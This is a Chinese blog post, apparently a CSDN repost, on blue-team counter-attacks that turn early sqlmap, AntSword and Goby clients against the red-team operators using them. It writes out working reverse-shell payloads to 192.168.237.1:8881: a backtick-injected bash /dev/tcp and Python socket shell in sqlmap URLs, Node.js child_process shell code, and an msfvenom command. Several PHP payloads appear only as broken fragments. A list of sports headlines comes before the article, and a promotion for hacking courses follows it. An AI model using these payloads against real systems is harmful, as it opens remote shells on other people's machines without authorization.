伪球迷30问 · 世界杯入门指南 2025-07-23 01:13:57
足球运动员在世界杯比赛中究竟能打多长时间?深度解析体能极限与战术安排 2025-05-14 23:45:48
NBA比赛中手递手战术的精妙运用:从世界杯足球赛看篮球场上的团队配合 2025-06-21 20:01:31
田径世锦赛2017:4x400米接力赛的激情与荣耀 2025-05-27 02:37:16
王濛愤怒谴责韩国选手推倒林孝埈:称我泰拳实力不容小觑 2025-12-08 01:22:08
决金第六季最新比赛!准神与泰艺发挥神勇,大小金接连不断 #郑宇伯 #张泰艺 #决金第六季 #野豹战队 2025-09-18 07:59:49
帕金斯预测:火箭和尼克斯会师总决赛 我支持火箭夺冠 2025-10-30 14:11:03
篮球运动员如何在赛季中实施有效的减肥计划? 2025-05-08 18:02:20
2018年北京体育盛事:世界杯热潮点燃城市激情 2025-04-27 10:57:37
世界杯历史上的三双球员:那些在赛场上传奇般的全能表现 2025-06-14 19:57:21

国hu攻防比赛蓝队防守经验总结(中篇)

第120篇:蓝队溯源之蚁剑、sqlmap、Goby反制方法的复现与分析

*Part1 前言*

**大家好最近在更新蓝队分析研判工具箱中的溯源反制功能时,我阅读了大量相关的技术文章。很多资料提到了早期版本的蚁剑、sqlmap、goby等工具的反制思路,其中的一些方法非常有参考价值。不过,ABC_123在复现过程中发现,许多文章中提供的payload复现不成功,经过多次转载后原始正确的payload会出现一些字符被无意中改为全角字符、Tab被替换为空格等问题,有些payload也需要修改。经过仔细研究和修正,今天写文章把复现过程和payload分享给大家。

*Part2 技术研究过程*

*sqlmap的反制方法*

在分析sqlmap反制手法时发现,严格来说这并不是sqlmap本身存在的问****题,而是通过精心构造的反引号命令注入,诱使红队人员在特定环境下执行恶意命令。需要注意的是,这种攻击方式仅在Linux环境下使用sqlmap时才可能生效。虽然利用条件较为苛刻,但在某些特定场景下仍然具备可行性。例如,一些红队人员习惯通过BurpSuite结合sqlmap进行自动化注入测试,此时如果未对请求内容进行严格审查,就可能在无意中触发恶意payload,导致被蓝队反制。

在Linux系统的Shell控制台中,反引号包裹的内容会被当作系统命令执行,并且其执行优先级较高。例如,可以通过在URL中插入反引号来执行一个简单的命令,比如列目录内容:

sqlmap -u "http://192.168.237.128:8888/renli/baoxian_jibenopen.asp?id=`ls`"

也可以直接构造payload使红队人员执行反弹shell命令,网上常见的一种payload是:

sqlmap -u "http://192.168.237.128:8888/renli/baoxian_jibenopen.asp?id=`bash -i >& /dev/tcp/192.168.237.1/8881 0>&1`"

但是我实际测试的时候,发现并未成功,如下图所示。

于是我想到sqlmap本身是基于python编写并运行的,那么目标环境中必然存在python****解析器。于是构造了一下python代码,成功实现了反弹shell。修改后的payload如下:

sqlmap -u "http://192.168.237.128:8888/renli/baoxian_jibenopen.asp?id=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.237.1",8881));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`"

通过这种方式,当红队人员利用sqlmap进行注入测试时,如果未对参数进行严格校验,便可能在不知情的情况下触发反弹shell操作,从而被蓝队人员成功反制。

** **

*蚁剑的反制方法*

经过ABC_123的测试,发现这一方法仅适用于早期版本(AntSword <=2.0.7)的蚁剑webshell管理工具,在最新版本中已无法复现成功。需要注意的是,目前网上流传的许多payload在实际测试中并不可用,存在较多失效或拼写错误的情况。该反制方法的典型应用场景是:蓝队在发现红队上传的PHP等类型的WebShell后,可以主动在红队人员的WebShell中插入特制的反制代码。当红队人员后续使用蚁剑客户端连接该WebShell时,就会在不知情的情况下执行蓝队人员事先植入的命令,从而达到反制效果。

首先,给出一个基于XSS的反制payload,可以用来做弹窗测试。

") ?>

为了实现在Node.js版本蚁剑(AntSword)客户端中自动执行calc.exe命令,可以插入如下的PHP代码:当红队人员使用蚁剑客户端连接此webshell时,该PHP代码会返回一个带有恶意payload的HTTP响应头。

");?>

具体原理是:蚁剑(Node.js版)在与WebShell通信时,会解析服务器返回的数据。这段PHP代码构造了一个伪造的HTTP 500错误响应,并在响应状态行后插入了一个带onerror事件的标签。当蚁剑客户端解析响应时,如果处理不严格,就会在Node.js环境中直接执行这段****JavaScript。onerror中触发的JavaScript首先通过Base64解码出真实代码,内容是调用Node.js的child_process.exec模块,执行calc.exe程序,从而实现远程命令执行(RCE)。如果把旧的 new Buffer(…) 统一改成为标准的 Buffer.from(…),此攻击代码可以兼容 Node.js 10+、12+、14+、16+、18+等版本。

接下来可以尝试实现反弹shell操作,于是构造如下代码。通过引入net和child_process模块,程序分别实现了建立TCP连接和启动本地Shell进程的功能。根据操作系统类型判断,如果是Windows系统则调用cmd.exe,否则使用/bin/sh。随后,使用child_process.spawn以交互模式启动Shell进程,并将其标准输入、输出和错误输出通过pipe方式进行控制。net.Socket对象提供了对底层Socket接口的读写能力,代码中创建了一个client对象,通过TCP连接到攻击者指定的IP和端口,将本地Shell的输入输出流重定向到该连接,实现了远程受控的交互式Shell访问。

const net = require("net");const cp = require("child_process");const isWindows = process.platform === "win32";const shell = isWindows ? "cmd.exe" : "/bin/sh";const sh = cp.spawn(shell, ['-i'], {stdio: ['pipe', 'pipe', 'pipe']});const client = new net.Socket();client.connect(192.168.237.1, "8881", function () {client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

最终将上述nodejs代码进行base64位编码形成如下payload。

");?>

当红队人员点开蚁剑开始连接webshell时,将会在不知情的情况下,执行反弹shell的nodejs代码,从而被蓝队人员反制。

除了上述方法,蚁剑的反制还可以与metasploit进行结合,使用msfvenom生成payload,然后进行深度利用。

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.237.1 LPORT=8881 -f raw -o payload.js

");?>

*Goby早期版本的反制方法*

在研究针对Goby工具的反制方法时,我发现网上流传的许多payload在实际测试中均无法成功复现。经过分析,对部分payload进行了调整,最终才能测试成功。为了触发Goby客户端的XSS弹窗,可以在正常的网页php文件中插入以下PHP代码。

");?>

当红队人员使用Goby工具扫描192.168.237.128这个IP地址时,Goby通过端口扫描会访问到该IP的80端口的web服务,会访问到植入了恶意代码的页面。由于未对解析HTTP响应头进行严格过滤,就可能直接在Goby客户端触发XSS弹窗,从而实现对红队人员的初步反制。

当红队人员查看扫描结果,并点击ip地址附近区域时,会触发弹窗。

如下图所示,成功弹框,证明反制代码被执行。

经过反复修改与测试,最终实现执行calc.exe命令的PHP代码如下:以下代码通过设置特殊的HTTP响应头,在响应中插入一个带有onerror事件的标签。当Goby等基于Node.js环境的客户端访问该页面时,若未对返回内容进行严格校验,onerror触发后会在客户端直接执行JavaScript代码,调用Node.js的child_process.exec模块,从而在本地弹出计算器**(calc.exe)****,实现命令执行效果**。

");?>

接下来使用goby对该ip进行扫描,发现成功弹出计算器。

接下来就是反弹shell的命令,我的测试结果是,无论如何修改nodejs代码,都始终测试不成功,目前原因不得而知。具体操作步骤如下,在目标网站的某个PHP文件中插入如下代码,构造恶意HTTP响应头:使用goby扫描该ip地址后,http服务会收到请求,但是nodejs代码并没有执行。

");?>

其中,弹计算器的calc.js文件代码如下,当Goby客户端加载此calc.js文件代码后执行(未能测试成功)。

(function(){require('child_process').exec('calc');})();

用于反弹Shell(Linux环境)的js文件代码如下(未能测试成功)。

(function(){require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.237.1",8881));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');})();

*Part3 总结*

1. 在复现蚁剑、sqlmap、goby反制过程中,发现网上流传的很多payload存在错误,往往是由于反复复制传播时命令格式、字符编码被篡改。实际测试中,一定要以原理为基础自行验证,切勿盲目相信网上的现成复制内容。

2. 蚁剑、sqlmap、goby等的反制方法,并没有依赖目标网站应用漏洞,而是针对红队人员所使用的工具在自身解析、处理逻辑中的缺陷进行攻击。例如:利用蚁剑早期版本对返回内容解析不严格触发远程命令执行;利用sqlmap在Linux下shell解析反引号导致命令执行。

3. 蓝队反制可以不直接入侵红队,只需在webshell、接口返回的数据中插入特制payload,诱导红队工具自动触发执行。

4. 蓝队人员可以适配攻击者使用环境而有针对性地构造payload,比如:针对Node.js环境设计的反制蚁剑 payload,针对Linux环境设计的sqlmap反弹Shell命令;必须了解攻击者工具运行依赖的解释器或执行环境(Node.js、Python等),才能制定有效反制策略。

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2025最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识。

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛

学以致用 ,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)